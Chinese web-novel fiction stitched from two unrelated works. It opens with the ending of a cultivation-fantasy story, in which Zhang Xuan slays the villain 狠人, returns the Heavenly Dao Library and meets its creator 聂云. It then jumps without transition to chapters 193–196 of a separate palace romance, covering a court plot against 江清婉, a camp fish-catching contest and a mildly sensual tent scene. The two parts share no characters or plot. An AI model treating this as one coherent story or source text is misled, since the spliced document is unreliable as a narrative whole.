潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。
此时的狠人,仿佛代表了整个神界,无人能挡。
“神界灭亡,我们活着也没意义,我云螭,与你同归于尽……”
云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。
“就你?不配!”
狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。
“老友,等我!”
扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。
不死帝君,不死火凤本尊显示出来,火焰照耀天空。
玄冥大帝,本尊乃一头大龟,宛如托举着诸天。
四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。
乾坤仿佛在瞬间定住。
嘭嘭嘭嘭!
连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……”
咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。
“想要杀他们,问过我没有……”
随即,众人震惊的目光中,一个人影从空中缓步走了出来。
正是张悬!
此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。
“进步了不少……”
狠人停了下来,目光凝重。
他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。
“不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……”
一声冷哼,狠人再次拍落而下。
张悬长剑扬起,迎了上来。
双方战斗在一起,空间一道道撕裂,气流四处乱窜。
“张悬能不能获胜?”
自在天孔师驻地,洛若曦满是担忧的看过去。
她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。
不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。
“凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!”
沉默了片刻,孔师道。
十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。
之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我!
“超越帝君的力量?”
洛若曦眼神悠远。
父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗?
“他一定能……他有着一颗不屈的心!和对这个世界的傲然。”
看出她心中的疑问,孔师笑道。
……
嘭嘭嘭!
连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。
和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。
“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。
“反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。
“好,我成全你,给你最强的攻击……”
听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。
哗啦!
一道青光出现在掌心,猛地拍落而下。
果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。
双眼紧闭,张悬并未躲避。
嘭!
脑袋炸裂开来,灵魂四处溃散。
“张悬……”看到这一幕,所有人都脸色一白。
洛七七宛如发疯。
云螭大帝等人也瞪大眼睛,不停哆嗦。
看到这一幕的孔师和洛若曦也全都一愣。
本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死?
这样,岂不辜负了他们的一番好心?
“不对,是不死帝君的不死之法……”
正在奇怪,孔师突然开口。
众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。
“他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?”
洛若曦瞳孔收缩。
浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道!
“他怎么做到的?”
孔师也满是不敢相信。
天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。
眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法?
“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。
灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。
绑定了灵魂,不死不会脱离。
但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。
这才故意拼死,让其施展出最强力量对他攻击。
借助这种力量,浴火重生,没想到,果然大获成功!
“原来如此,这才是突破帝君的方法……”
从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。
刹那间,与自身完美融合。
一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。
脚掌在地上轻轻一踏。
混乱的九天,立刻稳定下来。
九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。
不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。
“主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!”
面带微笑,张悬喃喃自语。
天道图书馆脱离灵魂的刹那,他明白过来。
是人看了世界,才有了世界,还是先有世界,后有了人?
是风动,还是心动!
这个问题,亘古不朽的困扰着无数人。
当然,现在……这些都不重要了!
没有生命,没有情感,世界就算存在,又有何意义?
所以,突破爱情之后,是众生情!是交织天下的情感。
世间万物皆有情感,有情才有世界,有情感,才能延续生命。
爱,是情。
憎,是情。
高兴,是情。
痛苦,是情。
离别,是情。
相聚,也是情!
“万千情意,为我所用……”
一声低呼,张悬体内禁锢的境界,瞬间破开。
帝君桎梏,突破了!
一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。
无数混沌之气,涌了过来,肉身也飞速提升。
之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。
“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。
“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?”
淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。
原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。
只要有情,就要被他所用,被他控制!
“你……”
狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……”
“现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。
掌控天下之情,仆人之类对于他来说,已经没任何意义了。
杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕!
“不……”
感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。
嘭!
一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。
之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。
“这……”
“这样就杀了?”
云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。
刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步?
难道帝君之上,真的还有另外的境界?
“他成功了……”
孔师和洛若曦,松开捏紧的拳头。
“这是天道的一部分,那我现在就归还天道……”
看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。
嗡!
从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。
大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。
崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。
“看来,神界要重新迎接灵气复苏时代了……”张悬一笑。
潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。
“张悬,这边来……”
刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。
这一步,不知飞了多远,随即看到一个青年站在面前。
正是之前传授自己剑法的那位。
“前辈,你……”
看到是他,张悬一愣。
之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。
“直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。
“聂铜?”张悬皱了皱眉。
第一次听到这个名字。
“跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。
张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。
随即看到了另外一个青年。
容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。
“这实力……”张悬一颤。
眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重!
“在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!”
“若曦的父亲?”
张悬一震:“你……是神界天道?”
之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。
“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。
张悬不敢相信。
神界竟然是眼前这人创造的?
那他的实力,该有多强?
“不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。
如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问?
甚至连女儿的生死,都关心?
没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?”
“这……”张悬停顿了一下:“应该有吧……”
虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。
就好像眼前这位。
“我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!”
聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。”
“这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!”
“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!”
聂云笑道。
“不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。
难怪,能够穿越过来,没想到都是眼前这位所为。
“呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……”
“我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……”
没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。
“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?”
聂云道。
张悬沉默不语。
当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。
也有可能,他不愿意斩杀洛若曦吧。
可惜,就这一念之间,错过了晋级的机会。
“如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。
难不成,眼前这位连女儿的生死都不管了?
“有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?”
“这……”张悬苦笑。
突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。
“灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……”
聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……”
看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……”
不答应也没办法,谁让自己拐走了人家的女儿……
“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。”
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第193章 新的异姓王
信件展开。
江清婉在其中找到了她心里一直怀疑的答案。
此间诸事,的确与大隋有关。
街长将所有事都揽在了自己的身上,也承认了自己的身份。
他是大隋人,而他的老东家,曾为大隋的一个文官,后国破之后,他随老东家流落清风寨附近。
老东家一心复国报仇,奈何年岁已老,郁郁而终。
他安葬了老东家之后,便以流民的身份带着才四岁的儿子落户清风寨。
后清风寨遭匪患,原住民死了不少,他凭着以前做管家的本领渐渐做了街长。
三年前,有人找到他,以他大隋的身份相要挟。
他瞒着所有人,包括他的儿子,配合对方暗修地道、私囤兵器……
至于那些人做了什么,他一无所知,也无复国之心,只想子孙安稳度日。
信的末尾,他画了一张地图。
那是一处铁矿山的所在,用这个秘密,求墨云寒放他儿子一命。
江清婉将信合上递还给墨云寒。
“清风寨的百姓,皆被困在风水局中,气运受损,子嗣几乎断绝,老街长的话应是可信,百姓并不知情。”
墨云寒轻笑了一声。
“王妃担心本王会屠城?”
这话极凉。
江清婉知道他在生气,却并不想哄。
“大隋和大周的那场大战,王爷可曾参与?”
墨云寒心里气得要死。
“你是怎么觉得,你瞒着本王那么多事情,本王还会毫不保留地回答你的问题?”
江清婉抬眸盯着他。
微红的眼眶,噩梦惊醒后的水光还未消失。
“那我找别人打听。”
墨云寒只觉一拳砸在了棉花上,胸口滞闷发疼,转身拂袖而去。
莲儿很快进来。
端着一盆温水伺候她洗漱。
梳头时忍不住小声劝着,
“小姐,王爷一夜没合眼,回来就去了您房间守着,挺辛苦的。”
江清婉正在想事情,闻言没理,摆摆手自己用一根簪子随意别了个发髻。
“去把笔墨纸砚拿过来。”
莲儿心里叹了口气。
她实在想不明白,这大好的姻缘,为什么自家小姐一个劲的往外推。
明眼人都看的出来,王爷很喜欢她。
事事顺着纵着,连这军政大事,都许她参与。
这般良缘,还是皇亲贵胄,还有何不满意的?
江清婉接过毛笔低头作画,很快将在街长家里看到的鬼面石像画了出来。
莲儿惊道,“小姐,这是什么镇宅的符吗?如此吓人。”
江清婉摇了摇头。
“不知道,等回京后寻人问问。”
吃过早饭后,附近县衙的人便来了。
双方交涉之后,墨云寒便带队离开了清风寨。
与此同时,
京城茶楼内,
苏玉兰正跟云筱然在喝茶。
两个人同为县主,可云筱然背后有太后撑腰,一直高了苏玉兰一头,可现在,苏玉兰的脖子却是恨不得抬到天上去。
满头珠翠,更是耀眼夺目。
“筱然啊,我家夫君虽然比不得王爷的身份地位,可却为了我休妻,扶我一人稳坐主母之位,如今又得太后赏赐,皇上亲封大理寺司正一职,等这次回来,再等新功,以后在朝中便稳如磐石。我只是可怜你,同为县主,也曾风光无限,现如今却要被一个下堂妇压在头上一辈子,实在太过憋屈。”
云筱然心里恨不得抽她两巴掌。
面上却笑的谦和。
“玉兰姐,你的日子是好起来了,可若是那江氏真的与王爷大婚成了皇家名副其实的九王妃,切不说秦将军在朝中的晋升之路会不会受阻,单单以后见到江氏都要行叩拜之礼,姐姐能忍吗?”
苏玉兰脸上的笑意渐消。
云筱然又道,“我听太后祖母说,二皇子已经准备迎娶你堂姐,写了折子奏请皇上赐婚,皇上也无不满,这赐婚的圣旨怕是过两日就会下来。以后姐姐也不能唤堂姐了,要叫王妃娘娘。”
这下,苏玉兰脸上的得意再也挂不住。
“云筱然,你什么心思,我一清二楚,你今日叫我出来,不就是想联合我对付江氏稳固你的地位吗?说到底,这件事,我可以参与,也可以不参与。你想求人,就拿出点求人的诚意。”
云筱然捏着帕子擦了擦嘴角。
“苏老王爷曾经也只是一名将军,老王妃曾经也同姐姐一般,只是一个当家主母。可如今,不也是被尊为王爷王妃吗?若是这大周,再出一个异姓王爷,不知姐姐有没有兴趣?”
苏玉兰眼神凌厉的扫过去。
“凭你?”
云筱然笑道,“凭我自然不行,此事必须有太后和皇上才能决断。但左右不过是功劳的累积,权势的叠加。我有个计划,姐姐要不要听?”
苏玉兰犹豫片刻,将身体往前倾了倾。
“你讲。”
云筱然也俯身凑近。
“秦明朗和王爷之间怕难以和解,既如此,不如就成敌对之势。我可以助力秦明朗在朝堂上与九王分庭抗礼,得皇上重用,但你要替我解决掉江清婉,而且绝不牵连到我的身上,如此,我才可挽回王爷的心。你得到你想要我,我得到我想要的,如何?”
苏玉兰皱眉。
“让我夫君与九王分庭抗礼?怕是难做吧?”
云筱然坐回椅子上,笑的晦暗不明。
“姐姐离开京城多年,不知皇上早就忌惮九王,托举一人与九王抗衡,绝对是皇上乐见其成的,所以此事,必成。”
苏玉兰心中大动。
云筱然端起茶盏。
“预祝姐姐成功成为异姓王妃,也预祝我,夺回本该属于我的地位。”
“王妃”二字让苏玉兰彻底迷失。
既然祖父看不上他们二房,那她就做和他一样的人。
到那时,秦家便会在她的手中成为第二个苏家。
她端起茶盏跟云筱然碰了碰。
“好,我答应了。”
……
行了一日,墨云寒命人在荒郊扎营,并没有走官道驿站。
以防消息提前暴露。
莲儿叫上李斗去河边取水,墨云寒看了眼江清婉的马车,脸色一直阴沉着。
夜七早就看出不对劲,小心翼翼道,“王爷,要不要给王妃送些肉干?”
墨云寒不悦的瞥他一眼。
“她未曾说要,你去献什么殷勤?”
夜七被怼的在心里翻了个白眼。
这台阶,不给也罢。
他拿着肉干准备去别处警戒,小红不知从哪里窜了出来,跳到他肩膀上张嘴咬走了他为数不多的肉干。
“你这小混蛋……”
夜七伸手去抓,却只摸到一撮滑溜的皮毛。
不由惊叹。
“速度还真快。”
小红叼着肉干跳到了墨云寒的怀里,仰着狐狸脑袋盯着他看。
在它的脖子上,多了一个用红绳拴着的小圆球,类似于铃铛一般,却是木制的,其上用红色朱砂写了一个“玄”字。
第194章 脉象不对
墨云寒以为是江清婉给挂上的,随手晃了下,却并没有声音发出。
似找到了理由,他抱着小红往马车走。
还没走到就听见洛九的声音。
“王妃,您看这个机关……”
紧随着是江清婉轻柔的细语,解释的很认真很详尽。
墨云寒心里越发不是滋味。
这女人能同别人知无不言,偏偏到他这里就藏着掖着。
明明他才是她最该亲近的人。
这时不远处忽然传来落水声,还有莲儿的尖叫声。
“李斗,李斗你怎么了?”
夜七已经跑过去救人。
江清婉听见动静从马车上探出头来,却撞上墨云寒黑沉的眸子。
她心里咯噔一下,下意识别开。
“青穗,去看看。”
“是。”
守在马车边的青穗立刻往河边走。
苏柳儿也跟了过去。
临走还不忘看了眼洛九。
“老先生,说了一路口渴吧,下车喝口水。”
洛九却头也没抬。
“我不渴。”
显然完全没听懂苏柳儿的提示。
墨云寒的脸又臭了几分。
“老洛,有什么事回京再问。”
听见他的声音,洛九总算抬起头来,却并没有下马车,而是私下看了看,低声道,“王爷,我思来想去,终于想到是谁做的那些弓弩。我哥以前有个师弟,手艺极好,可心思不正,被逐出洛家后流落江湖,掀起了不小的风波,后来听说被人杀了,尸骨无存。”
“这一路上我跟王妃又重演了战车崩裂的过程,再加上那些弓弩的出现,我可以肯定,就是老鬼所为,也只有他精通洛家手法,能想出这种阴损的主意。”
江清婉微微皱眉。
“剿匪一事,不过几日前才下令。弓弩的制造倒还简单,但是想破坏战车,却并不是易事。怕秦明朗早就有此计划,无论谁领命剿匪,都会因为战车而出事,责任自然会怪在提供战车的人头上。这个名叫老鬼的人,应该就在京城。”
墨云寒忽然想起苏柳儿曾调查金钩弯刀时说过的话。
鬼市之中有精通机关之人。
怕就是这个老鬼。
江清婉也想起一事,立刻抬眸道,“墨云寒,你还记得你在鬼市受伤的事吗?机关弓弩,淬了毒的短箭,看来那天那人就是鬼面。”
两个人的心思几乎瞬间想到了一起。
墨云寒的眸光幽幽的落在她的小脸上,多了几分炙热。
这时,莲儿和青穗扶着湿漉漉的李斗走了过来。
夜七呲着个白牙乐。
“王爷,王妃,这家伙去捉鱼,一头扎进了河里,我把他给拔上来的时候,他嘴里还真咬了一条。”
那条鱼个头还真不小,白胖的肚皮上有个大牙印,估计鱼这辈子也没想过自己会被这么咬死。
苏柳儿嫌弃地瞥他一眼。
“吃了一路的肉干嘴都淡了,你那么有本事,再去抓几条,一起烤了吃。”
夜七切了一声。
“要不要比一场,一炷香的时间看谁抓的最多,一百两银子,敢赌吗?”
暗卫营和淮楼不一样。
淮楼有的是银子,苏柳儿每次跟夜七互怼,必提一句“暗卫营的俸禄都是淮楼赚的。”
这话夜七不服,却又无法反驳。
虽二人算是同级,却处处矮了一头。
苏柳儿轻挑眉角。
“比就比,一百两太少了,加一倍,你有吗?”
夜七的脸都绿了。
两百两银子,是他半年的俸禄。
王昊不嫌事大的开始起哄。
“大男人可不能认怂啊,兄弟可等着烤鱼吃呢。”
不少人也跟着附声吆喝。
夜七将长剑一提。
“谁怂谁孙子,走!”
一群人乌泱泱的去了河岸捉鱼。
小红哪里肯放过这热闹,跳出墨云寒的怀抱也跟着窜了出去。
莲儿将李斗放在马车旁的石头边,拿着帕子帮李斗擦拭脸上的淤泥。
青穗拍了拍手上的水渍走到江清婉身边道,“王妃,李斗的脉象不太对。”
江清婉抬手想扶着她下车。
青穗袖子都是湿的,正想往上撸一撸,一只手臂就先她一步伸了过去。
黑色纹着金绣龙蟒的袖口,自然是墨云寒。
江清婉微微怔了怔,并没有抬头,小手搭上去微微用力,跳下了马车。
落地时腰间被轻轻扶了一下,掌心的温热烫得人肌肤有些发麻。
她有些不自在的只当没注意,收回手臂走到李斗身边蹲下。
此刻莲儿已经给李斗清理干净。
一张国字脸上,浓眉紧皱,似乎正经历着什么痛苦。
她抬手用手背轻轻抵在李斗的额头上,触感微凉,并没有发烧。
她刚要收回,李斗忽地一把攥住了她的手腕,闭着双眼,情绪异常激动。
“不要杀我,不要杀我!”
李斗本就神力,江清婉痛呼一声感觉到自己的手腕都要碎了。
墨云寒一个手刀劈了过去。
李斗瞬时昏死,手也随之卸了力。
而江清婉白皙的手腕已经被握的青紫。
莲儿吓了一跳,立刻跪在地上。
“小姐,王爷,李斗不是故意的,他若清醒,就算是死也绝不会伤害小姐的。”
江清婉的手腕被墨云寒托着,她疼的厉害,实在挣不开,便也没再挣扎。
“青穗,去叫军医。莲儿,起来,我知道李斗不是故意的。”
莲儿有些担心的看向墨云寒。
江清婉沉声道,“他无权处置我的人。”
莲儿还是有些不放心。
墨云寒被这话气的不轻,大手一捞将江清婉抱起。
“本王不处置他们,处置你!”
说话间已经上了马车,布帘一落,直接欺身压了上去。
洛九急的在下面喊。
“我的图……图……”
青穗扶额。
“洛大师,您还是寻个地方休息会吧。”
她说完快步去找军医过来。
马车内,江清婉被攥着手腕牢牢困在身下动弹不得。
心里又委屈,又不爽。
漂亮的眼尾一片潮红。
“你放开!”
“你倒还气上了?”
墨云寒心里一软,将人拉起摁在了怀里。
看着她手腕上的青紫红痕,又心疼,又无奈。
“瓷娃娃一般,就这点本事还想闯荡江湖,事事往自己身上揽,江清婉,你什么时候能明白,你若是入了这个局,便再也没有离开的机会。”
江清婉气呼呼的瞪他。
“我不知道你在说什么?我想走,你也拦不住。”
墨云寒黑沉的眸子看着她。
“那你的师门呢?”
第195章 你露了
江清婉的身体猛地僵住。
小脸忽然冷了下来。
竟让身经百战的墨云寒感觉到一丝凌厉的杀气。
他又好气又想笑,伸手捏着她的下巴轻轻用了些力。
“你还想杀我不成?小没良心!”
说罢松了手,从怀里摸出药膏拧开,挖了一些轻轻涂在她的手腕处。
夜色已沉。
虽有火光照耀,依旧有些东西看不清。
比如墨云寒眼底晦暗不明的神色。
江清婉任由他帮自己揉搓瘀血,咬牙忍着疼,不肯吭声。
手臂被揉的热乎乎的,不似先前那般酸疼。
“好了。”
墨云寒停下动作,大手稳稳落在她的小腰上。
她此刻就坐在他的双腿上,一低头一抬头的动作间,呼吸都能纠缠在一起。
“回答我刚刚的问题。”
江清婉不自在的想挪开,却被他大力扣着腰身又往腿间摁了摁。
这个举动,几乎将身体紧贴。
江清婉窘迫的红了脸,抬眸凶巴巴的瞪了过去。
“回答什么?你再不松开,我现在就杀了你。”
墨云寒眸光灼灼的看着她,带着几分无可奈何。
“就不能跟我说一说吗?江清婉,我说过,我会护着你。”
江清婉的心口抑制不住阵阵悸动。
理智似乎要沉溺在那双黑沉的眼底。
车外忽地响起一阵高过一阵的欢呼声。
“时辰快到了,还差三条,赶紧抓啊。”
她强迫自己冷静下来。
即便墨云寒不是第二个秦明朗,诸葛门的事,也与他无关。
“我没什么要跟你说的,放我下去,我去看看李斗。”
怀里的温软被挣脱而去,墨云寒轻轻碾了碾指尖,失望至极。
军医已经检查完。
见江清婉过来,俯身行了个礼。
“王妃,他只是忧思过重,好好休息便可,不必吃药。”
说罢提着药箱走了。
莲儿急道,“李斗怎么会忧思过重?他除了吃就是练武,还会忧思什么?”
江清婉想起李斗刚刚攥着她手臂喊得那句话。
“或许是在战场上受了刺激才会如此。”
莲儿气的一拳头砸在李斗的胸口。
“都说了别逞能,非要去,被吓到了吧?”
江清婉也没多想。
那边苏柳儿和夜七还在比试,她不愿跟墨云寒独处,带着青穗过去看热闹。
香已经快燃尽。
夜七也已经追平鱼数,现在谁能再捉一条鱼,谁就是赢家。
可他们这番折腾,鱼儿早就跑没了影。
单靠轻功和内力击打根本捉不到。
夜七忽地狡黠一笑,迅速扒光了上衣。
“相柳兄,准备好银子吧。”
说着一个猛子扎了下去。
很快就从河底捉了条肥硕的鱼窜出了水面,笑的肆意张扬。
“哈哈哈哈哈,你输了。”
王昊并不知道苏柳儿是女人。
回头看了一眼燃烧的香,见还有一点,当即推了她一把。
“兄弟助你一臂之力,下水来个一箭双雕。”
苏柳儿正准备用轻功再找一找,一个没防备被推了个结结实实,噗通扎进了水里,连呛了好几口水。
狼狈的窜出水面。
她虽胸前裹了布,可一湿水还是显现出不同。
王昊捂着肚子哈哈笑。
“相柳兄看着瘦,这胸肌却不小啊。”
其他人也跟着大笑。
苏柳儿心下一惊,立刻转过身缩回水里,却被正对面的夜七看了个正着。
她气的做了个抹脖子的动作,忽地一个漂亮的猛子扎下去,在夜七愣神之际,迅速抢过了他手里的鱼,飞掷到属于她的水桶里。
随着大鱼应声落入,香也燃尽。
苏柳儿只露出一个头,勉力浮着水,声音被水位压的都有些闷,却依旧得意洋洋。
“你输了,两百两银子,少一文,我扒了你的皮!”
岸上众人拍手起哄。
却并不知道,河水很清,因为浮水的动作,苏柳儿裹在胸前的白布已经散开,她胸前的风光被夜七看了个清清楚楚。
夜七一张脸都涨得通红。
尴尬的用手指了指,声音细如蚊蝇。
“你露了。”
苏柳儿怔住,低头一看,顿时花容失色,迅速背过身整理好,转头猛地朝着夜七攻去。
夜七没防备,被一拳砸在了眼眶上。
“你这人怎么不识好歹。”
“我识个屁的好歹,今天不是你死,就是老娘亡。”
二人在水里打的不可开交。
王昊已经张罗众人去收拾烤鱼。
见到江清婉还不忘招呼。
“王妃喜欢是什么口味?我做辣的一绝,您要不要尝尝。”
经此一役,众人都对江清婉有所改观。
再加上她不仅漂亮还为人亲和,自然好感倍增。
江清婉淡淡笑道。
“那我一定要尝尝。”
……
夜里,子时三刻,
江清婉正在马车中睡得迷迷糊糊。
忽然感觉有人拽她。
睁开眼一看,竟是夜七。
青穗一直守在外面,绝不会让人随便进来。
她当即坐了起来。
“出事了?”
夜七点头。
“王妃,王爷已经疼了半个时辰,他还不许我来叫您,属下实在心疼。”
江清婉没说话,跟着夜七去了墨云寒的营帐。
营帐简易,能睡人的地方,只有一个毛毡,并不如马车上舒服。
此刻墨云寒就蜷在毛毡上面,压抑的喘息如一只独自舔舐伤口的孤狼。
狂暴,危险,却又孤寂可怜。
江清婉叹了口气。
“夜七,去外面守着,不准任何人进来。”
“是!”
夜七立刻退到外面。
墨云寒听见她的声音,沙哑开口。
“我不用你管,一样死不了。”
江清婉不说话,也不靠近。
墨云寒不死心的又道,“你想走便走,我绝不拦你,不必找借口为我治腿而留下。”
沉闷的痛哼,压抑在唇边,却又故意般溢出。
江清婉依旧没有说话,也没有靠近。
如墨云寒所言,疼,是疼不死的。
有她的灵契在,他不仅不会死,修为还会攀升的很快,即便黑气和功德金光早就失去了平衡,他依旧不会因为这些东西而死。
可钝刀子割肉的痛苦,却也非常人能忍。
江清婉气恼的想看他到底能忍到何时。
蜷着身体的墨云寒却在这时抬起头来。
满是薄汗的一张俊脸,眼尾潮红,双眼委屈又倔强,美的不可方物。
被折腾的半敞开的衣襟,露出性感的锁骨。
冷白的肌肤上蒙着一层晶莹的汗珠,整个人都透着一股勾着人上前摧残蹂躏的魅惑。
第196章 艳色撩人
江清婉下意识的咽了下口水。
这男人,太危险。
墨云寒却并不自知,见她竟然别开脸,一副冷漠以待的表情,心中凉了半截。
长久以来的骄傲维系着的自尊让他无法低头。
冷着声呵斥。
“滚出去!”
新一轮的疼疯狂袭来,比刚刚更痛苦万分。
他闷哼着咬破了唇瓣,死死攥着双手,低着头,不肯再看江清婉一眼。
江清婉却在这时走了过去。
半跪在毛毡上,伸手去握他的大手。
“墨云寒,我实话告诉你,那日在玄灵山中为了救你,我几乎所有的修为都转到了你的身上。现在,我并没有法子缓解你的痛苦。同样的,也没有法子如你所愿全身而退。你还要撵我走,到底谁没良心。”
墨云寒一把将她拽进了怀里死死抱住。
汗津津的身体,胸口的心跳,跳动的很快。
滚烫的呼吸蹭在她的脖颈,小兽一般贪恋的嗅着。
“那你陪陪我。”
江清婉被他的呼吸烫的半截身体传来一阵又一阵的酥麻感,她想挣脱,却半点缝隙都挣不开。
“你的修为,有什么法子能传回去吗?用那个识海行吗?”
墨云寒低低问着,似乎抱着她真的就不那么疼了。
想起识海中发生的事,江清婉涨红了脸,艰难的摇了下头。
“不行吗?”
